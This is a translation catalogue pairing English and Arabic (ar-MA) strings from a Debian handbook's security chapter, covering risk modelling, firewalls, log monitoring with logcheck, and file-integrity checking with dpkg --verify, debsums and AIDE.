0 - en to ar-MA translation catalogue (264 entries)

en: Firewall
ar-MA: الجدار الناري

en: Security
ar-MA: الأمن

en: An information system can have a varying level of importance depending on the environment. In some cases, it is vital to a company's survival. It must therefore be protected from various kinds of risks. The process of evaluating these risks, defining and implementing the protection is collectively known as the “security process”.
ar-MA: تختلف درجة أهمية النظام المعلوماتي حسب البيئة. في بعض الحالات، يكون النظام حيوياً لاستمرارية الشركة. ويجب حمايته إذن من مختلف المخاطر. تدعى عملية تقييم هذه المخاطر، وتعريف وتطبيق أساليب الحماية منها ”بالعملية الأمنية“.

en: Defining a Security Policy
ar-MA: تحديد سياسة أمنية

en: <emphasis>CAUTION</emphasis> Scope of this chapter
ar-MA: <emphasis>تحذير</emphasis> مدى هذه الفصل

en: The word “security” itself covers a vast range of concepts, tools and procedures, none of which apply universally. Choosing among them requires a precise idea of what your goals are. Securing a system starts with answering a few questions. Rushing headlong into implementing an arbitrary set of tools runs the risk of focusing on the wrong aspects of security.
ar-MA: تغطي كلمة ”الأمن“ نفسها مجالاً واسعاً من المفاهيم، والأدوات والإجراءات، والتي لا يمكن تطبيق أي واحدة منها في جميع الحالات. تتطلب عملية اختيار واحدة منها فكرة دقيقة عن الأهداف المرجوة من حماية النظام. تبدأ عملية تأمين النظام بإجابة بعض الأسئلة. أما الاستعجال في تطبيق مجموعة عشوائية من الأدوات قد يؤدي إلى خطر التركيز على الناحية الأمنية غير المناسبة.

en: The very first thing to determine is therefore the goal. A good approach to help with that determination starts with the following questions:
ar-MA: إذن أول الأشياء التي يجب تحديدها هو الهدف. من الأساليب الجيدة التي تساعد على تحديد هذا الهدف أسلوب يبدأ بطرح الأسئلة التالية:

en: <emphasis>What</emphasis> are we trying to protect? The security policy will be different depending on whether we want to protect computers or data. In the latter case, we also need to know which data.
ar-MA: <emphasis>ما</emphasis> الذي نحاول حمايته؟ تختلف السياسة الأمنية إذا كنا نريد حماية الحاسوب أو حماية البيانات. وإذا كنا نريد حماية البيانات، علينا أن نعرف أي بيانات هي المطلوب حمايتها.

en: What are we trying to protect <emphasis>against</emphasis>? Is it leakage of confidential data? Accidental data loss? Revenue loss caused by disruption of service?
ar-MA: ما الذي نريد أم نحتمي <emphasis>منه</emphasis>؟ هل هو تسريب البيانات السريّة؟ أم خسارة البيانات نتيجة الحوادث؟ أم خسارة أرباح نتيجة انقطاع الخدمة؟

en: Also, <emphasis>who</emphasis> are we trying to protect against? Security measures will be quite different for guarding against a typo by a regular user of the system than they would be when protecting against a determined attacker group.
ar-MA: وأيضاً، <emphasis>مَن</emphasis> الذي نحاول أن نحتمي منه؟ تختلف الإجراءات الأمنية كثيراً ما بين الحماية من خطأ فني بسيط يرتكبه أحد مستخدمي النظام المنتظمين وبين الحماية من مجموعة مهاجمين لهم أهداف محددة.

en: The term “risk” is customarily used to refer collectively to these three factors: what to protect, what needs to be prevented from happening, and who will try to make it happen. Modeling the risk requires answers to these three questions. From this risk model, a security policy can be constructed, and the policy can be implemented with concrete actions.
ar-MA: يستخدم المصطلح ”خطر risk“ عادة للإشارة إلى جميع هذه العوامل الثلاثة معاً: ما الذي نحميه، ما الذي يجب أن نمنع حدوثه، ومن الذي يحاول أن يجعل ذلك يحدث. يجب إجابة هذه الأسئلة للوصول إلى نموذج الخطر (risk model). واعتماداً على نموذج الخطر هذا، يمكن بناء سياسة أمنية، ويمكن تطبيق هذه السياسة بتدابير صارمة.

en: <emphasis>NOTE</emphasis> Permanent questioning
ar-MA: <emphasis>ملاحظة</emphasis> التساؤل الدائم

en: Bruce Schneier, a world expert in security matters (not only computer security) tries to counter one of security's most important myths with a motto: “Security is a process, not a product”. Assets to be protected change in time, and so do threats and the means available to potential attackers. Even if a security policy has initially been perfectly designed and implemented, one should never rest on one's laurels. The risk components evolve, and the response to that risk must evolve accordingly.
ar-MA: يحاول Bruce Schneier، وهو خبير عالمي في القضايا الأمنية (ليس أمن الحواسيب فقط)، مواجهة إحدى أهم الخرافات الأمنية برفع شعار: ”الحماية هي عملية، وليست منتج“. تتغير الممتلكات التي ترام حمايتها مع الزمن، كما تتغير التهديدات والوسائل المتاحة للمهاجمين المحتملين. حتى لو كان تصميم وتطبيق السياسة الأمنية مثالياً في البداية، يجب ألا يرتاح المرء لهذا الإنجاز. عناصر الخطر في تطور، ويجب أن تتطور الاستجابة لهذه المخاطر بما هو مناسب.

en: Extra constraints are also worth taking into account, as they can restrict the range of available policies. How far are we willing to go to secure a system? This question has a major impact on the policy to implement. The answer is too often only defined in terms of monetary costs, but the other elements should also be considered, such as the amount of inconvenience imposed on system users or performance degradation.
ar-MA: يجدر أيضاً أخذ القيود الإضافية بعين الاعتبار، إذ أنها تحدُّ مجال السياسات المتاحة. كم ننوي أن نبذل في سبيل حماية النظام؟ هذا السؤال يؤثر بشكل كبير على السياسة المتبعة. غالباً ما تُعرف إجابة هذا السؤال من النواحي المالية فقط، لكن هناك عناصر أخرى يجب أخذها بعين الاعتبار أيضاً، مثل درجة الإزعاج التي سوف تُفرَض على مستخدمي النظام أو مدى تراجع مستوى الأداء.

en: Once the risk has been modeled, one can start thinking about designing an actual security policy.
ar-MA: بعد نمذجة الخطر، يمكن البدء بالتفكير بتصميم سياسة أمنية فعلية.

en: <emphasis>NOTE</emphasis> Extreme policies
ar-MA: <emphasis>ملاحظة</emphasis> السياسات المتطرفة

en: There are cases where the choice of actions required to secure a system is extremely simple.
ar-MA: هناك حالات يكون فيها اختيار الإجراءات اللازمة لتأمين النظام بالغ البساطة.

en: For instance, if the system to be protected only comprises a second-hand computer, the sole use of which is to add a few numbers at the end of the day, deciding not to do anything special to protect it would be quite reasonable. The intrinsic value of the system is low. The value of the data is zero since they are not stored on the computer. A potential attacker infiltrating this “system” would only gain an unwieldy calculator. The cost of securing such a system would probably be greater than the cost of a breach.
ar-MA: مثلاً، إذا كان النظام المطلوب حمايته عبارة عن حاسب مستعمل (second-hand)، الغرض الوحيد منه جمع بعض الأرقام في نهاية اليوم، إن اتخاذ القرار بعدم إجراء أي شيء خاص لحمايته سيكون منطقياً جداً. القيمة الفعلية للنظام منخفضة. قيمة البيانات صفرية لأننا لا نخزنها على الحاسوب. إن أي مهاجم يخترق هذا ”النظام“ سيحصل فقط على آلة حاسبة ثقيلة الوزن. كلفة حماية نظام كهذا أكبر من كلفة تعرضه للاختراق على الأغلب.

en: At the other end of the spectrum, we might want to protect the confidentiality of secret data in the most comprehensive way possible, trumping any other consideration. In this case, an appropriate response would be the total destruction of these data (securely erasing the files, shredding of the hard disks to bits, then dissolving these bits in acid, and so on). If there is an additional requirement that data must be kept in store for future use (although not necessarily readily available), and if cost still isn't a factor, then a starting point would be storing the data on iridium–platinum alloy plates stored in bomb-proof bunkers under various mountains in the world, each of which being (of course) both entirely secret and guarded by entire armies…
ar-MA: على نقيض هذه الحالة، قد نرغب بحماية خصوصية بيانات سرية بأسلوب شامل تماماً، يفوق جميع الاعتبارات الأخرى. في هذه الحالة، الاستجابة المناسبة ستكون التدمير التام لهذه البيانات (حذف الملفات بشكل تام، وتحطيم القرص الصلب إلى أجزاء صغيرة، ثم إذابة هذه القطع في الحمض، وهكذا). إذا كان هناك متطلب إضافي يقول أن البيانات يجب أن تحفظ للاستخدام مستقبلاً (لكن لا يشترط أن تكون متاحة فورياً)، وإذا لم تكن الكلفة أيضاً ذات اعتبار، فيمكن حماية هذه البيانات بتخزينها على صفائح من خليطة بلاتين-إيريديوم وحفظها في ملاجئ حصينة ضد القنابل تحت جبال عدة حول العالم، وكلها (طبعاً) مخابئ سرية تحميها جيوش مدججة…

en: In most cases, the information system can be segmented in consistent and mostly independent subsets. Each subsystem will have its own requirements and constraints, and so the risk assessment and the design of the security policy should be undertaken separately for each. A good principle to keep in mind is that a short and well-defined perimeter is easier to defend than a long and winding frontier. The network organization should also be designed accordingly: the sensitive services should be concentrated on a small number of machines, and these machines should only be accessible via a minimal number of check-points; securing these check-points will be easier than securing all the sensitive machines against the entirety of the outside world. It is at this point that the usefulness of network filtering (including by firewalls) becomes apparent. This filtering can be implemented with dedicated hardware, but a possibly simpler and more flexible solution is to use a software firewall such as the one integrated in the Linux kernel.
ar-MA: في معظم الحالات، يمكن تقسيم النظام المعلوماتي إلى مجموعات فرعية مستقلة ومتماسكة. لكل نظام فرعي متطلباته وقيوده الخاصة، وبالتالي يجب تقييم المخاطر وتصميم سياسة أمنية لكل واحد منها بشكل منفصل. هناك مبدأ جيد لحفظه في ذاكرتك، هو أن حماية خندق قصير وحصين أسهل من حماية جبهة طويلة ملتفة. يجب تصميم بنية الشبكة وفق هذا المبدأ: يجب تركيز الخدمات الحساسة على عدد قليل من الأجهزة، ويجب أن يكون الوصول لهذه الأجهزة عبر أقل عدد ممكن من نقاط المرور؛ فحماية نقاط المرور هذه ستكون أسهل من حماية جميع الأجهزة الحساسة من الهجمات التي ترد من جميع أنحاء العالم الخارجي. تظهر هنا فائدة فلترة الشبكات (عبر الجدران النارية وغيرها). يمكن تطبيق هذه الفلترة باستخدام معدات خاصة، لكن لعل الحل الأبسط والأكثر مرونة استخدام جدار ناري برمجي مثل الجدار المدمج في النواة لينكس.

en: Firewall or Packet Filtering
ar-MA: الجدار الناري أو ترشيح الرزم

en: <primary>firewall</primary>
ar-MA: <primary>جدار ناري</primary>

en: <emphasis>BACK TO BASICS</emphasis> Firewall
ar-MA: <emphasis>أساسيات</emphasis> الجدار الناري

en: <primary>packet</primary><secondary>IP</secondary>
ar-MA: <primary>رزمة</primary><secondary>IP</secondary>

en: A <emphasis>firewall</emphasis> is a piece of computer equipment with hardware and/or software that sorts the incoming or outgoing network packets (coming to or from a local network) and only lets through those matching certain predefined conditions.
ar-MA: <emphasis>الجدار الناري</emphasis> هو نوع من المعدات يتألف من عتاد خاص و (أو) برمجيات تنظم رزم الشبكة الواردة أو الصادرة (الداخلة إلى الشبكة المحلية أو الخارجة منها) ولا تسمح إلا بمرور الرزم التي تطابق شروطاً معينة محددة مسبقاً.

en: A firewall is a filtering network gateway and is only effective on packets that must go through it. Therefore, it can only be effective when going through the firewall is the only route for these packets.
ar-MA: الجدار الناري هو بوابة ترشيح شبكية وهو فعال فقط مع الرزم التي تضطر للمرور عبره. بالتالي، لا يمكن أن يفيد الجدار الناري إلا إذا كان المرور عبره هو الطريق الوحيد المتاح أمام هذه الرزم.

en: <emphasis>SPECIFIC CASE</emphasis> Local Firewall
ar-MA: <emphasis>حالة خاصة</emphasis> الجدار الناري المحلي

en: <emphasis>BACK TO BASICS</emphasis> ICMP
ar-MA: <emphasis>أساسيات</emphasis> ICMP

en: For reference, a receive buffer is a small memory zone storing data between the time it arrives from the network and the time the kernel handles it. If this zone is full, new data cannot be received, and ICMP signals the problem, so that the emitter can slow down its transfer rate (which should ideally reach an equilibrium after some time).
ar-MA: تذكر أن buffer الاستقبال هو منطقة صغيرة من الذاكرة تُخزِّن البيانات عند وصولها من الشبكة وأثناء معالجة النواة للبيانات. إذا امتلأت المنطقة، لا يمكن استقبال بيانات جديدة، ويشير ICMP للمشكلة، بحيث يخفف المرسل من معدل الإرسال (الذي يجب أن يتوازن نظرياً بعد بعض الوقت).

en: Installing the Rules at Each Boot
ar-MA: تثبيت القواعد عند كل إقلاع

en: <filename>interfaces</filename> file calling firewall script
ar-MA: ملف <filename>interfaces</filename> يستدعي سكربت إعداد الجدار الناري

en: This obviously assumes that you are using <emphasis role="pkg">ifupdown</emphasis> to configure the network interfaces. If you are using something else (like <emphasis>NetworkManager</emphasis> or <emphasis>systemd-networkd</emphasis>), then refer to their respective documentation to find out ways to execute a script after the interface has been brought up.
ar-MA: هذا يفترض طبعاً أنك تستخدم <emphasis role="pkg">ifupdown</emphasis> لضبط الواجهات الشبكية. أما إذا كنت تستخدم أداة أخرى (مثل <emphasis>NetworkManager</emphasis> أو <emphasis>systemd-networkd</emphasis>)، فعليك مراجعة وثائقها الخاصة لمعرفة طريقة تنفيذ السكربتات بعد إقلاع الواجهة الشبكية.

en: Supervision: Prevention, Detection, Deterrence
ar-MA: الإشراف: المنع، والاكتشاف، والردع

en: <primary>monitoring</primary>
ar-MA: <primary>المراقبة</primary>

en: Monitoring is an integral part of any security policy for several reasons. Among them, that the goal of security is usually not restricted to guaranteeing data confidentiality, but it also includes ensuring availability of the services. It is therefore imperative to check that everything works as expected, and to detect in a timely manner any deviant behavior or change in quality of the service(s) rendered. Monitoring activity can help detecting intrusion attempts and enable a swift reaction before they cause grave consequences. This section reviews some tools that can be used to monitor several aspects of a Debian system. As such, it completes <xref linkend="sect.monitoring" />.
ar-MA: المراقبة هي جزء متمم لأي سياسة أمنية وذلك لعدة أسباب. منها، أن هدف الحماية لا ينحصر عادة في ضمان سرية البيانات فقط، بل يتعداه إلى ضمان توافر الخدمات. لا بد إذن من التحقق أن كل شيء يعمل كما هو متوقع. واكتشاف أي سلوك شاذ أو تغيّر في جودة الخدمة (أو الخدمات) المقدمة في الوقت المناسب. قد تساعد عملية المراقبة على اكتشاف محاولات التطفل وتفعيل ردود سريعة قبل أن تسبب عواقب جسيمة. يراجع هذا القسم بعض الأدوات المستخدمة لمراقبة عدة نواحي في نظام دبيان. بالتالي، فهو يكمل <xref linkend="sect.monitoring" />.

en: Monitoring Logs with <command>logcheck</command>
ar-MA: مراقبة السجلات باستخدام <command>logcheck</command>

en: <primary>monitoring</primary><secondary>log files</secondary>
ar-MA: <primary>مراقبة</primary><secondary>ملفات السجلات</secondary>

en: The <command>logcheck</command> program monitors log files every hour by default. It sends unusual log messages in emails to the administrator for further analysis.
ar-MA: يراقب البرنامج <command>logcheck</command> ملفات السجلات في كل ساعة افتراضياً حيث يرسل رسائل السجل غير الطبيعية إلى مدير النظام عبر البريد الإلكتروني لمتابعة تحليلها.

en: The list of monitored files is stored in <filename>/etc/logcheck/logcheck.logfiles</filename>; the default values work fine if the <filename>/etc/rsyslog.conf</filename> file has not been completely overhauled.
ar-MA: تُخزَّن لائحة الملفات التي يراقبها في <filename dir="ltr">/etc/logcheck/logcheck.logfiles</filename>؛ القيم الافتراضية جيدة إذا لم يكن الملف <filename dir="ltr">/etc/rsyslog.conf</filename> أعيد بناؤه بالكامل.

en: <command>logcheck</command> can work in one of three more or less detailed modes: <emphasis>paranoid</emphasis>, <emphasis>server</emphasis> and <emphasis>workstation</emphasis>. The first one is <emphasis>very</emphasis> verbose, and should probably be restricted to specific servers such as firewalls. The second (and default) mode is recommended for most servers. The last one is designed for workstations, and is even terser (it filters out more messages).
ar-MA: يمكن أن يعمل <command>logcheck</command> في وضع واحد من ثلاثة أوضاع تختلف بمستوى تفصيلها: <emphasis>paranoid</emphasis> (مُرتاب) و <emphasis>server</emphasis> (مُخدِّم) و <emphasis>workstation</emphasis> (محطة عمل). الوضع الأول مفصل جداً، ويجب عدم استخدامه على الأرجح إلا على مخدمات خاصة مثل الجدران النارية. الوضع الثاني (والافتراضي) هو الوضع المفضل لمعظم المخدمات. أما الوضع الأخير فهو مصمم لمحطات العمل، وهو أكثر إيجازاً (يحجب رسائل أكثر).

en: In all three cases, <command>logcheck</command> should probably be customized to exclude some extra messages (depending on installed services), unless the admin really wishes to receive hourly batches of long uninteresting emails. Since the message selection mechanism is rather complex, <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> is a required — if challenging — read.
ar-MA: في جميع الحالات الثلاث. يجب تخصيص <command>logcheck</command> على الأغلب لاستبعاد بعض الرسائل الإضافية (اعتماداً على الخدمات المثبتة)، إلا إذا كان مدير النظام يريد فعلاً تلقي دفعات ساعية من رسائل بريدية طويلة وغير مهمة. بما أن آلية اختيار الرسائل معقدة نوعاً ما، يجب قراءة الملف <filename dir="ltr">/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> ودماغك نشط حتى تفهمها بشكل أفضل.

en: The applied rules can be split into several types:
ar-MA: يمكن تقسيم القواعد المطبّقة إلى عدة أنواع:

en: those that qualify a message as a cracking attempt (stored in a file in the <filename>/etc/logcheck/cracking.d/</filename> directory);
ar-MA: القواعد التي تصنف الرسالة على أنها محاولة اختراق (مخزنة في ملف ضمن المجلد <filename dir="ltr">/etc/logcheck/cracking.d/</filename>)؛

en: those canceling such a qualification (<filename>/etc/logcheck/cracking.ignore.d/</filename>);
ar-MA: القواعد التي تلغي التصنيف السابق (<filename>/etc/logcheck/cracking.ignore.d/</filename>)؛

en: those classifying a message as a security alert (<filename>/etc/logcheck/violations.d/</filename>);
ar-MA: القواعد التي تصنف الرسالة على أنها تحذير أمني (<filename>/etc/logcheck/violations.d/</filename>)؛

en: those canceling this classification (<filename>/etc/logcheck/violations.ignore.d/</filename>);
ar-MA: القواعد التي تلغي التصنيف السابق (<filename>/etc/logcheck/violations.ignore.d/</filename>)؛

en: finally, those applying to the remaining messages (considered as <emphasis>system events</emphasis>).
ar-MA: وأخيراً، القواعد التي على بقية الرسائل (التي تعتبر كأحداث نظام <emphasis>system events</emphasis>).

en: <emphasis>CAUTION</emphasis> Ignoring a message
ar-MA: <emphasis>تحذير</emphasis> تجاهل رسالة

en: Any message tagged as a cracking attempt or a security alert (following a rule stored in a <filename>/etc/logcheck/violations.d/myfile</filename> file) can only be ignored by a rule in a <filename>/etc/logcheck/violations.ignore.d/myfile</filename> or <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>extension</replaceable></filename> file.
ar-MA: لا يمكن تجاهل أي رسالة تصنف على أنها محاولة اختراق أو تحذير أمني (نتيجة اتباع قاعدة مخزنة في الملف <filename dir="ltr">/etc/logcheck/violations.d/myfile</filename> ) إلا بقاعدة في الملف <filename dir="ltr">/etc/logcheck/violations.ignore.d/myfile</filename> أو الملف <filename dir="ltr">/etc/logcheck/violations.ignore.d/myfile-<replaceable>extension</replaceable></filename>.

en: A system event is always signaled unless a rule in one of the <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> directories states the event should be ignored. Of course, the only directories taken into account are those corresponding to verbosity levels equal or greater than the selected operation mode.
ar-MA:  كما تُرسَل أحداث النظام دائماً إلا في حال وجود قاعدة في أحد المجلدات <filename dir="ltr">/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> تُبيّن وجوب تجاهل هذا الحدث. طبعاً، لا تؤخذ بعين الاعتبار إلا المجلدات التي توافق مستوى التفصيل لوضع العمل المحدد والمستويات الأعلى منه.

en: Monitoring Activity
ar-MA: مراقبة النشاطات

en: <primary>monitoring</primary><secondary>activity</secondary>
ar-MA: <primary>مراقبة</primary><secondary>نشاطات</secondary>

en: <primary>activity, monitoring</primary>
ar-MA: <primary>نشاطات، مراقبة</primary>

en: In Real Time
ar-MA: في الزمن الحقيقي

en: <command>top</command> is an interactive tool that displays a list of currently running processes. The default sorting is based on the current amount of processor use and can be obtained with the <keycap>P</keycap> key. Other sort orders include a sort by occupied memory (<keycap>M</keycap> key), by total processor time (<keycap>T</keycap> key) and by process identifier (<keycap>N</keycap> key). The <keycap>k</keycap> key allows killing a process by entering its process identifier. The <keycap>r</keycap> key allows <emphasis>renicing</emphasis> a process, i.e. changing its priority.
ar-MA: <command>top</command> هي أداة تفاعلية تعرض قائمة بالعمليات النشطة حالياً. يعتمد الترتيب الافتراضي على نسبة استخدام المعالج ويمكن الوصول لهذا الترتيب بالمفتاح <keycap>P</keycap>. من الخيارات الأخرى المتاحة للترتيب الترتيب حسب كمية الذاكرة المحجوزة (المفتاح <keycap>M</keycap>)، أو حسب الزمن الكلي للمعالج (المفتاح <keycap>T</keycap>) أو حسب مُعرّف العملية (المفتاح <keycap>N</keycap>). يسمح المفتاح <keycap>k</keycap> بقتل عملية عبر إدخال رقم تعريفها. ويسمح المفتاح <keycap>r</keycap> <emphasis>بإعادة تهذيب</emphasis> العملية، أي تغيير أولويتها.

en: <command>top</command> is a very flexible tool and its manual page gives details on how to customize its display and adapt it to one's personal needs and habits.
ar-MA: <command>top</command> أداة مرنة جداً وتفصل صفحة دليلها طريقة تخصيص أسلوب عرضها للمعلومات وتكييفها مع احتياجاتك وعاداتك.

en: The <command>gnome-system-monitor</command> graphical tool is similar to <command>top</command> and it provides roughly the same features.
ar-MA: الأداة الرسومية <command>gnome-system-monitor</command> تشبه <command>top</command> وتوفر المزايا نفسها تقريباً.

en: History
ar-MA: من الماضي

en: <primary>activity, history</primary>
ar-MA: <primary>نشاطات، تاريخ</primary>

en: Processor load, network traffic and free disk space are information that are constantly varying. Keeping a history of their evolution is often useful in determining exactly how the computer is used.
ar-MA: حمل المعالج ونشاط الشبكة والمساحة التخزينية الحرة هي معلومات متغيرة باستمرار يفيد تتبع تاريخ تطورها غالباً في التعرف على طريقة استثمار الحاسوب بدقة.

en: There are many dedicated tools for this task. Most can fetch data via SNMP (<emphasis>Simple Network Management Protocol</emphasis>) in order to centralize this information. An added benefit is that this allows fetching data from network elements that may not be general-purpose computers, such as dedicated network routers or switches.
ar-MA: هناك أدوات عديدة مخصصة لهذه المهمة. معظمها قادر على جلب البيانات عبر SNMP‏ (<emphasis>Simple Network Management Protocol</emphasis>) وذلك لمركزة هذه المعلومات. من المكاسب المضافة هي أن هذا يسمح بجلب البيانات من العناصر الشبكية التي قد لا تكون بالضرورة حواسيباً عامة الأغراض، مثل موجهات الشبكة المتخصصة أو التحويلات.

en: <emphasis>ALTERNATIVE</emphasis> <command>mrtg</command>
ar-MA: <emphasis>بدائل</emphasis> <command>mrtg</command>

en: <command>mrtg</command> (in the similarly-named package) is an older tool. Despite some rough edges, it can aggregate historical data and display them as graphs. It includes a number of scripts dedicated to collecting the most commonly monitored data such as processor load, network traffic, web page hits, and so on.
ar-MA: <command>mrtg</command> (في الحزمة ذات الاسم نفسه) هي أداة أقدم. ورغم بعض نقاط الضعف، إلا أنها تستطيع جمع البيانات التأريخية وعرضها كمخططات. كما تتضمّن عدداً من السكربتات المخصصة لجمع أكثر البيانات التي تُراقب عادة مثل حمل المعالج، ونشاط الشبكة، وعدد مرات الدخول إلى صفحة وب، وغيرها.

en: The <emphasis role="pkg">mrtg-contrib</emphasis> and <emphasis role="pkg">mrtgutils</emphasis> packages contain example scripts that can be used directly.
ar-MA: تحوي الحزمتين <emphasis role="pkg">mrtg-contrib</emphasis> و <emphasis role="pkg">mrtgutils</emphasis> أمثلة عن سكربتات يمكن استخدامها مباشرة.

en: <primary>intrusion detection</primary>
ar-MA: <primary>اكتشاف التطفل</primary>

en: Detecting Changes
ar-MA: اكتشاف التغيُّرات

en: Auditing Packages with <command>dpkg --verify</command>
ar-MA: فحص سلامة الحزم باستخدام <command>dpkg --verify</command>

en: <emphasis>GOING FURTHER</emphasis> Protecting against upstream changes
ar-MA: <emphasis>التعمق أكثر</emphasis> الحماية من التغيرات المنبعية

en: <command>dpkg --verify</command> (or <command>dpkg -V</command>) is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. To do its job it relies on checksums stored in dpkg's own database which is stored on the hard disk (they can be found in <filename>/var/lib/dpkg/info/<replaceable>package</replaceable>.md5sums</filename>); a thorough attacker will therefore update these files so they contain the new checksums for the subverted files.
ar-MA: <command>dpkg --verify</command> (أو <command>dpkg -V</command>) هي أداة مهمة لأنها تسمح بمعرفة أي الملفات المثبتة قد عدلت (نتيجة هجوم) مثلاً، لكن لا تكن واثقاً من هذا تماماً. تعتمد هذه الأداة في عملها على checksums مخزنة في قاعدة بيانات dpkg التي تُخزَّن على القرص الصلب (يمكنك العثور عليها في <filename dir="ltr">/var/lib/dpkg/info/<replaceable>package</replaceable>.md5sums</filename>)؛ والمهاجم الخبير سوف يحدث هذه الملفات بحيث يسجل فيها قيم checksum الجديدة للملفات المخربة.

en: <emphasis>BACK TO BASICS</emphasis> File fingerprint
ar-MA: <emphasis>أساسيات</emphasis> بصمات الملفات

en: <primary>fingerprint</primary>
ar-MA: <primary>بصمة</primary>

en: Running <command>dpkg -V</command> will verify all installed packages and will print out a line for each file with a failing test. The output format is the same as the one of <command>rpm -V</command> where each character denotes a test on some specific meta-data. Unfortunately <command>dpkg</command> does not store the meta-data needed for most tests and will thus output question marks for them. Currently only the checksum test can yield a "5" on the third character (when it fails).
ar-MA: عند استدعاء <command>dpkg -V</command> سيتحقق من كافة الحزم المثبتة وسيطبع سطراً يقابل كل ملف يفشل اختبار سلامته. صيغة الخرج هي صيغة خرج <command>rpm -V</command> نفسها حيث يمثل كل محرف اختباراً على بيانات فوقية محددة. لسوء الحظ، لا يخزن <command>dpkg</command> البيانات الفوقية اللازمة لمعظم الاختبارات ولذلك يطبع علامات استفهام مكانها. حالياً اختبار التحقق من checksum هو الوحيد الذي يمكن أن يطبع "5" عند المحرف الثالث (إذا فشل الاختبار).

en: 
    <computeroutput># </computeroutput><userinput>dpkg -V</userinput>
    <computeroutput>??5??????   /lib/systemd/system/ssh.service
    ??5?????? c /etc/libvirt/qemu/networks/default.xml
    ??5?????? c /etc/lvm/lvm.conf
    ??5?????? c /etc/salt/roster</computeroutput>
ar-MA: 
    <computeroutput># </computeroutput><userinput>dpkg -V</userinput>
    <computeroutput>؟؟5؟؟؟؟؟؟   /lib/systemd/system/ssh.service
    ؟؟5؟؟؟؟؟؟ c /etc/libvirt/qemu/networks/default.xml
    ؟؟5؟؟؟؟؟؟ c /etc/lvm/lvm.conf
    ؟؟5؟؟؟؟؟؟ c /etc/salt/roster</computeroutput>

en: Auditing Packages: <command>debsums</command> and its Limits
ar-MA: فحص الحزم: <command>debsums</command> وحدودها

en: Since the data on the disk cannot be trusted, <command>debsums</command> offers to do its checks based on <filename>.deb</filename> files instead of relying on dpkg's database. To download trusted <filename>.deb</filename> files of all the packages installed, we can rely on APT's authenticated downloads. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis.
ar-MA: بما أن البيانات على القرص الصلب غير موثوقة، يقدم <command>debsums</command> خيار فحص الملفات المُثبّتة اعتماداً على ملفات <filename dir="ltr">.deb</filename> بدلاً من الاعتماد على قاعدة بيانات dpkg. يمكننا الاعتماد على تنزيلات APT المصدقة لتنزيل ملفات <filename dir="ltr">.deb</filename> موثوقة لكل الحزم المثبتة على النظام. قد تكون هذه العملية بطيئة ومملة، لذلك يجب عدم اتخاذها كتقنية وقائية تستخدم على نحو منتظم.

en: Note that this example uses the <command>grep-status</command> command from the <emphasis role="pkg">dctrl-tools</emphasis> package, which is not installed by default.
ar-MA: لاحظ أن هذا المثال يستخدم <command>grep-status</command> من الحزمة <emphasis role="pkg">dctrl-tools</emphasis>، وهي غير مثبتة افتراضياً.

en: Monitoring Files: AIDE
ar-MA: مراقبة الملفات: AIDE

en: The AIDE tool (<emphasis>Advanced Intrusion Detection Environment</emphasis>) allows checking file integrity, and detecting any change against a previously recorded image of the valid system. This image is stored as a database (<filename>/var/lib/aide/aide.db</filename>) containing the relevant information on all files of the system (fingerprints, permissions, timestamps and so on). This database is first initialized with <command>aideinit</command>; it is then used daily (by the <filename>/etc/cron.daily/aide</filename> script) to check that nothing relevant changed. When changes are detected, AIDE records them in log files (<filename>/var/log/aide/*.log</filename>) and sends its findings to the administrator by email.
ar-MA: تسمح الأداة AIDE‏ (<emphasis>Advanced Intrusion Detection Environment</emphasis>) بالتحقق من سلامة الملفات، واكتشاف أي تغيّرات اعتماداً على صورة مسجلة سابقاً للنظام السليم. تُخزّن هذه الصورة كقاعدة بيانات (<filename dir="ltr">/var/lib/aide/aide.db</filename>) تحوي خصائص جميع ملفات النظام (البصمات، الصلاحيات، التواريخ وغيرها). تُهيّأ قاعدة البيانات هذه أولاً باستخدام <command>aideinit</command>؛ وبعدها تُستخدَم يومياً (يستخدمها السكربت <filename dir="ltr">/etc/cron.daily/aide</filename>) للتحقق من عدم تغير أي شيء. عند اكتشاف أي تغير، تسجله AIDE في سجلاتها (<filename dir="ltr">/var/log/aide/*.log</filename>) وترسل ما وجدته إلى مدير النظام عبر البريد الإلكتروني.

en: <emphasis>IN PRACTICE</emphasis> Protecting the database
ar-MA: <emphasis>ممارسة عملية</emphasis> حماية قاعدة البيانات

en: Since AIDE uses a local database to compare the states of the files, the validity of its results is directly linked to the validity of the database. If an attacker gets root permissions on a compromised system, they will be able to replace the database and cover their tracks. A possible workaround would be to store the reference data on read-only storage media.
ar-MA: بما أن AIDE تستخدم قاعدة بيانات محلية لمقارنة حالة الملفات، فإن صحة نتائجها ترتبط مباشرة بسلامة قاعدة البيانات. إذا حصل المهاجم على صلاحيات الجذر على النظام المُختَرَق، عندها يستطيع استبدال قاعدة البيانات وتغطية آثاره. من الحلول الممكنة لهذه المشكلة تخزين البيانات على وسيط تخزيني للقراءة فقط.

en: Many options in <filename>/etc/default/aide</filename> can be used to tweak the behavior of the <emphasis role="pkg">aide</emphasis> package. The AIDE configuration proper is stored in <filename>/etc/aide/aide.conf</filename> and <filename>/etc/aide/aide.conf.d/</filename> (actually, these files are only used by <command>update-aide.conf</command> to generate <filename>/var/lib/aide/aide.conf.autogenerated</filename>). Configuration indicates which properties of which files need to be checked. For instance, the contents of log files changes routinely, and such changes can be ignored as long as the permissions of these files stay the same, but both contents and permissions of executable programs must be constant. Although not very complex, the configuration syntax is not fully intuitive, and reading the <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry> manual page is therefore recommended.
